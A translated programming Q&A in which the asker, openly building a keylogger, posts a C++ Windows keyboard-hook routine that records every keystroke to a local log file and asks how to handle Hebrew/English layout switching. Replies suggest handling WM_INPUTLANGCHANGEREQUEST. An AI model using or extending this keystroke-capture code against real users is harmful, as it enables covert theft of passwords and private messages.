【问题标题】:keyboard hook- different languages - c++键盘钩子 - 不同的语言 - C++
【发布时间】:2016-03-22 20:46:25
【问题描述】:

我正在尝试编写键盘记录器,但在切换语言时出现问题。

我的键盘上有希伯来语和英语。

它可以很好地分别识别希伯来语和英语,问题是如果我改变 language(alt+shift) 所以它仍然是第一语言。

代码:

LRESULT  __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char ch;
if (((DWORD)lParam & 0x40000000) && (HC_ACTION == nCode))
{
    if ((wParam == VK_SPACE) || (wParam == VK_RETURN) || (wParam >= 0x2f) && (wParam <= 0x100))
    {
        std::string toPrint = "nCode = " + std::to_string(nCode);
        std::string toPrint2 = "wParam = " + std::to_string(wParam);
        std::string toPrint3 = "wParam = " + std::to_string(lParam);

        OutputDebugStringA(toPrint.c_str());
        OutputDebugStringA(toPrint2.c_str());
        OutputDebugStringA(toPrint3.c_str());

        f1 = fopen("c:\\a\\log.txt", "a+");
        if (wParam == VK_RETURN)
        {
            ch = '\n';
            fwrite(&ch, 1, 1, f1);
        }
        else
        {
            BYTE ks[256];
            GetKeyboardState(ks);
            WORD w;
            UINT scan;
            scan = 0;
            ToAscii(wParam, scan, ks, &w, 0);
            ch = char(w);
            fwrite(&ch, 1, 1, f1);
        }
        fclose(f1);
    }
}

我看到 nCode、wParam 和 lParam 参数在两种语言中具有相同的值。

有什么想法吗?

谢谢!

【问题讨论】:

  • 它是停止挂键还是不显示结果?
  • 你能做一个钩子,让键盘记录器可以识别这个特定的组合,然后在它发生时切换语言?或者,也许,您可以只记录原始键输入,然后在进行切换后对原始数据进行操作以标记..
  • 它不会停止挂钩键...只是以第一语言而不是当前语言显示键。我有 Windows 8

标签: c++ windows hook


【解决方案1】:

我想你会想要处理WM_INPUTLANGCHANGEREQUEST 消息。我假设您总是希望接受语言更改。

【讨论】:

    猜你喜欢
    • 2012-02-27
    • 1970-01-01
    • 1970-01-01
    • 2013-08-25
    • 2020-05-07
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2011-07-06
    相关资源
    最近更新 更多